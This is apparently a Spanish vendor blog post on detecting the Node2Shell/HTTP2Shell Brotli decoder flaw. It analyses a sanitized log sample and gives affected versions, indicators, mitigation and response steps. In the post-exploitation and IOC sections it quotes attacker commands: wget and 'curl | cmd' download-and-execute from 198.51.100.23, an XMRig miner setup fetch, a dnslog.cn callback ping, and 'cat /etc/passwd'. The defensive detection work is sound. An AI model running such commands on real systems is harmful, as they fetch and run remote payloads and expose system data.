Detección de Node2Shell/HTTP2Shell

Detección de Node2Shell/HTTP2Shell

SOC Prime Team
SOC Prime Team linkedin icon Seguir

La detección de Node2Shell/HTTP2Shell es más difícil de lo que parece, porque la vulnerabilidad no está confinada a un solo producto. Node2Shell, también llamado HTTP2Shell, es CVE-2026-111497: una escritura fuera de límites en el decodificador C de Brotli de Google, versiones 1.0.3 a 1.2.0, con una puntuación CVSS 4.0 de 9.2. Dado que el fallo se encuentra en una biblioteca de compresión compartida, alcanza a Node.js, paquetes Brotli de Python, Bun, curl, Envoy y otros software que decodifican Brotli.

Este artículo cubre la detección de Node2Shell/HTTP2Shell utilizando una muestra de registro analizada en LogTotal, una herramienta de análisis de registros que compara eventos con amenazas conocidas. A continuación, tratamos el contexto de la vulnerabilidad, la fuente del registro, lo que informó LogTotal y cómo responder.

Empieza Gratis

Análisis de Node2Shell (HTTP2Shell)

El código vulnerable está en las versiones 1.0.3 a 1.2.0 del decodificador Brotli C. Google, como autoridad de numeración, le otorgó una puntuación de 9.2 bajo CVSS 4.0, mientras que Node.js lo considera de Alta gravedad. Para leer correctamente la muestra de registro, es útil saber cómo se desencadena el error, cómo se desarrolló la divulgación y qué versiones de software y configuraciones están expuestas.

Detalles de la vulnerabilidad de Node2Shell

Un flujo de Brotli que declaraba un solo tipo de bloque y luego cambiaba de bloques no fue rechazado, por lo que la decodificación continuaba en un estado inválido y escribió más allá de un búfer. Cualquier proceso que descompresione datos Brotli controlados por un atacante puede ser afectado, en dos direcciones:

  • Entrante: un cuerpo de solicitud HTTP comprimido con Brotli diseñado y enviado a un servidor que lo decodifica.
  • Saliente: una respuesta diseñada devuelta a un cliente que la recupera.

El bug tiene varios nombres. Node2Shell fue el primero porque Node.js lo divulgó y solucionó primero. HTTP2Shell refleja que alcanza cualquier pila que decodifique Brotli sobre HTTP, y algunas coberturas también usan Python2Shell y Broccoli2Shell.

Cronología de divulgación y explotación

Fecha (2026)Evento
27 de octubreCISA añadió el CVE a su catálogo KEV; las agencias federales de EE.UU. deben parchear antes del 10 de noviembre
26 de octubreExplotación en esta muestra registrada en app-node-01
25 de octubreMicrosoft liberó correcciones de .NET fuera de ciclo
22 de octubreCVE publicado; ejecución de código mostrada públicamente en Node.js 24.22.0; Bun 1.4.4 lanzado
21 de octubreDivulgación y las versiones corregidas de Node.js; Brotli 1.0.10, 1.1.1 y 1.2.1 lanzados
27 de febreroCorrección comprometida en google/brotli sin lanzamiento ni advisory

El bug en sí fue enviado en Brotli 1.0.3 en marzo de 2018. Khai Tran y Sylvie Mayer de OpenAI Codex Security lo reportaron a Node.js. Existe una prueba de concepto pública, Imperva y ELLIO ambas reprodujeron la ejecución de código contra construcciones oficiales de Node.js, y los escáneres que mapean qué hosts descomprimen Brotli ya están en uso. No se ha demostrado la ejecución de código en los paquetes de Python, aunque se bloquean con entrada maliciosa, como lo muestra el fallo de web-prod-01 en esta muestra.

Versiones afectadas de Node2Shell y correcciones

ComponenteCorregido en
Node.js 26.x / 24.x / 22.x26.12.1 / 24.22.1 / 22.23.4
Node.js 20.x y otras líneas fuera de cicloSin corrección; cambie a una línea soportada
Bun1.4.4
Librería Brotli de Google1.0.10, 1.1.1, 1.2.1
PyPI brotli / brotlicffi1.2.1 / 1.2.1.0
.NET runtime 8 / 9 / 108.0.33 / 9.0.22 / 10.0.14
Envoy1.36.12, 1.37.8, 1.38.6, 1.39.3, 1.40.0
Istio1.29.9, 1.30.6, 1.31.2
Java brotli4j / Ruby brotli gem1.24.0 / 0.9.1

Una versión vulnerable solo está expuesta si los datos del atacante pueden llegar al decodificador. En Node.js, ese camino existe a través de Express 5, body-parser 2.x, los analizadores de cuerpo Koa, @fastify/compress con descompresión de solicitudes, fetch(), y llamadas directas a node:zlib Brotli. En Python, requests, httpx, aiohttp, y Scrapy utilizan el paquete brotli o brotlicffi siempre que esté instalado. En .NET, la descompresión Brotli está desactivada por defecto, y Envoy e Istio se exponen solo con el descompresor Brotli habilitado. curl decodifica Brotli solo con –compressed, a través de libbrotli del sistema, por lo que necesita un paquete de distribución parcheado; Debian y Red Hat han enviado soluciones.

Fuente y recopilación de registros

AtributoValor
ArchivoNode2Shell_HTTP2Shell_sample-sanitized.jsonl
Eventos11
Ventana de tiempo26 de octubre de 2026, 11:30:55 a 11:33:05 UTC
EsquemaEstilo ECS
Fuentes4 mensajes de texto plano del kernel de Linux y systemd-coredump; 7 eventos de creación de procesos de Microsoft Defender para Endpoint

Hosts en la muestra

Tres hosts aparecen en los datos en bruto, en dos sistemas operativos. Cada uno muestra una parte diferente de la exposición a Node2Shell.

HostOSTiempo de ejecuciónActividad en los registros
app-node-01LinuxAplicación Node.js /opt/app/server.jsFallo de Brotli, luego comandos de post-explotación
web-prod-01LinuxProceso PythonFallo en _brotli.cpython-311
win-dev-01WindowsAplicación Node.js C:Usersdevuserappserver.jsDescargar y ejecutar, PowerShell oculto

Detectar Node2Shell (HTTP2Shell)

LogTotal procesó 11 líneas en 5.3 segundos y coincidió con 23 reglas contra 10 líneas. Formó 2 cadenas, reportó 1, y filtró 1 en el paso de verificación de IA.

Campo de veredictoResultado
VeredictoSospechoso, necesita investigación
SeveridadAlta
ConfianzaMedia

La cadena reportada es Node2Shell / HTTP2Shell es una vulnerabilidad crítica (CVE-2026-111497): Alta, coincidencia del 100%, 2 reglas activadas. Se encuentra en un host seudonimizado entre las 11:30 y 11:31 UTC, y esa ventana y evidencia coinciden con app-node-01.

Explotación: el fallo del decodificador Brotli

La regla «Posible intento de explotación CVE-2026-111497 (HTTP2Shell / Node2Shell) – Fallo nativo del decodificador Brotli» coincidió con el node haciendo segfault en libbrotlidec.so.1.1.0. La pila del core dump es encabezada por BrotliDecoderDecompressStream.

El informe mapea este fallo a la denegación de servicio (T1499.004), de donde proviene la etapa de Impacto. El último impacto de la regla, a las 11:33, cae sobre el fallo de python3 en _brotli.cpython-311 en web-prod-01, que muestra la misma librería fallando en un segundo tiempo de ejecución.

Post-explotación en Linux

«Procesos hijos sospechosos de NodeJS [Linux]» se activó 4 veces cuando node /opt/app/server.js generó:

  • curl obteniendo el script de configuración pública C3Pool XMRig miner
  • wget http://198.51.100.23:3000/s.sh
  • ping -c 1 5axzi7.dnslog.cn, una verificación de retorno de llamada out-of-band
  • cat /etc/passwd

Post-explotación en Windows, fuera de la cadena

La mitad de Windows de la muestra se encuentra fuera de la cadena reportada pero merece la misma atención. En win-dev-01, node.exe generó cmd.exe /c «curl -s https://198.51.100.23/api/w | cmd», un patrón de descarga y ejecución, y luego un powershell.exe oculto ejecutando whoami.

Las reglas que se activaron en esta actividad incluyen Procesos hijos sospechosos de NodeJS [Windows], Leer contenidos desde Stdin a través de Cmd.EXE y Cmdlets sospechosos de Powershell. La cadena filtrada, Conoce AvisLoader: Un cargador de Windows construido para perdurar tras una eliminación (Alta), fue conducida por las ejecuciones de curl.

IOCs de Node2Shell de esta muestra

IndicadorTipoContexto
198.51.100.23IPHost de carga para s.sh (puerto 3000) y /api/w (HTTPS)
http://198.51.100.23:3000/s.shURLScript obtenido por wget en app-node-01
https://198.51.100.23/api/wURLCanalizado a cmd en win-dev-01
5axzi7.dnslog.cnDominioRetorno de llamada out-of-band mediante ping
Script de configuración del minero C3Pool XMRigDescargarObtenido por curl desde node
libbrotlidec.so.1.1.0 con BrotliDecoderDecompressStream en la pilaFirma de falloIntento de explotación de Node.js
Fallo en _brotli.cpython-311Firma de falloIntento de explotación de Python
node / node.exe generando curl, wget, ping, cat, cmd.exe, powershell.exeLinaje del procesoPost-explotación

Usando hallazgos de LogTotal en la evaluación de Node2Shell

Empiece desde la cadena reportada para confirmar la explotación en app-node-01, luego trabaje en cada hallazgo fuera de la cadena. En esta muestra, las reglas fuera de la cadena y la cadena filtrada apuntan a dos hosts más afectados, web-prod-01 y win-dev-01.

Mitigación de Node2Shell (HTTP2Shell)

Parchear Node.js por sí solo no cierra Node2Shell, porque el fallo está en el decodificador Brotli compartido. Cada runtime o proxy que decodifique Brotli necesita una actualización, y cada host en la muestra necesita estar en el alcance.

Parchee cada consumidor de Brotli

  1. Encuentre servicios en Node.js por debajo de 22.23.4, 24.22.1, o 26.12.1, en una línea fuera de ciclo de Node.js, o en Bun por debajo de 1.4.4, incluyendo imágenes base y hosts de construcción.
  2. Parchee primero los servicios que descomprimen cuerpos de solicitud (Express 5, body-parser 2.x, los analizadores de cuerpo Koa, @fastify/compress), obtienen URLs proporcionados por el usuario, o pasan datos no confiables a funciones node:zlib Brotli.
  3. Actualice el runtime, luego reinicie procesos y reconstruya imágenes de contenedores, incluidas aplicaciones .NET autocontenidas y binarios construidos con bun build –compile.
  4. Actualice PyPI brotli a 1.2.1 y brotlicffi a 1.2.1.0, y actualice el runtime de .NET, Envoy, Istio y los paquetes de brotli de distribución.
  5. Muévase de Node.js 20 y otras líneas fuera de ciclo, que no recibirán corrección.
  6. Hasta que lleguen los parches, rechace Content-Encoding: br en el WAF o proxy, comparándolo sin diferenciar mayúsculas de minúsculas y dentro de listas como «gzip, br». Esto no cubre respuestas Brotli leídas por fetch().

Respuesta recomendada por LogTotal

  1. Aísle el host.
  2. Recopile datos de proceso, sistema y red para 11:30–11:33 UTC.
  3. Verifique el nivel de parche de Node.js: 22.23.4, 24.22.1, o 26.12.1.
  4. Elimine binarios no autorizados.
  5. Rechace Content-Encoding: br no confiable en el WAF.
  6. Ejecute Node.js sin privilegios.
  7. Desactive la descompresión automática de Brotli donde sea posible.

Pasos adicionales desde la evidencia cruda

  1. Amplíe el alcance a win-dev-01 y web-prod-01, no solo a app-node-01.
  2. Bloquee en el egreso 198.51.100.23 y *.dnslog.cn.
  3. Revise en busca de un minero: entradas cron, unidades systemd, y un proceso xmrig en ejecución.
  4. Asuma que /etc/passwd fue leído y revise las cuentas en consecuencia.
  5. Busque node, node.exe, o python3 generando shells, descargadores, o herramientas de red.

Monitoreo continuo de Node2Shell

Reenvíe mensajes de kernel y systemd-coredump junto con eventos de proceso EDR. En esta muestra, la pila de coredump fue la única evidencia directa de explotación, y los eventos de EDR llevaron todo lo que siguió.

FAQ

¿Qué es Node2Shell (HTTP2Shell) y cómo funciona?

Node2Shell, también llamado HTTP2Shell, es CVE-2026-111497: una escritura fuera de límites en el decodificador C de Brotli de Google, versiones 1.0.3 a 1.2.0, con una puntuación CVSS 4.0 de 9.2. Los datos diseñados de Brotli pueden bloquear cualquier proceso que los descomprima, y en Node.js se ha demostrado que permite la ejecución de código remoto. La sección de análisis anterior explica cómo funciona.

¿Cuándo se descubrió Node2Shell por primera vez?

Khai Tran y Sylvie Mayer de OpenAI Codex Security encontraron el bug y lo reportaron a Node.js. Se remonta a Brotli 1.0.3 en marzo de 2018. Una corrección fue comprometida en upstream el 27 de febrero de 2026 sin lanzamiento, y Node.js divulgó el fallo el 21 de octubre de 2026.

¿Cuál es el impacto de Node2Shell en los sistemas?

El fallo en sí es una denegación de servicio, y la actividad posterior muestra ejecución de código en el contexto del proceso vulnerable. En esta muestra, eso significó una descarga de script de configuración de minero criptominador, una obtención de carga, un retorno de llamada DNS out-of-band, una lectura de /etc/passwd, y descarga y ejecución en un host de Windows.

¿Node2Shell todavía puede afectarme en 2026?

Sí. CVE-2026-111497 se explota en el mundo y está listado en el catálogo KEV de CISA. Node.js no parcheado, Bun, Python, .NET y despliegues de proxy permanecen expuestos, y Node.js 20 y otras líneas fuera de ciclo nunca recibirán corrección.

¿Cómo puedo protegerme de Node2Shell?

Parchee Node.js y cualquier otro consumidor de Brotli, reinicie procesos y reconstruya imágenes. Hasta entonces, rechace Content-Encoding: br en el WAF o proxy y desactive la descompresión automática de Brotli donde sea posible. La sección de mitigación enumera todos los pasos.

¿Cómo puedo detectar Node2Shell?

Recolecte registros de kernel y systemd-coredump además de eventos de proceso EDR de cada host de Node.js y Python. Alerta sobre fallos del decodificador Brotli y en runtime generando shells o descargadores. LogTotal mapea estos eventos a la cadena de Node2Shell, pero revise los hallazgos fuera de la cadena también, ya que revelaron dos hosts adicionales aquí.

Únete a la plataforma Detection as Code de SOC Prime para mejorar la visibilidad de las amenazas más relevantes para tu negocio. Para ayudarte a comenzar y obtener valor inmediato, programa una reunión ahora con los expertos de SOC Prime.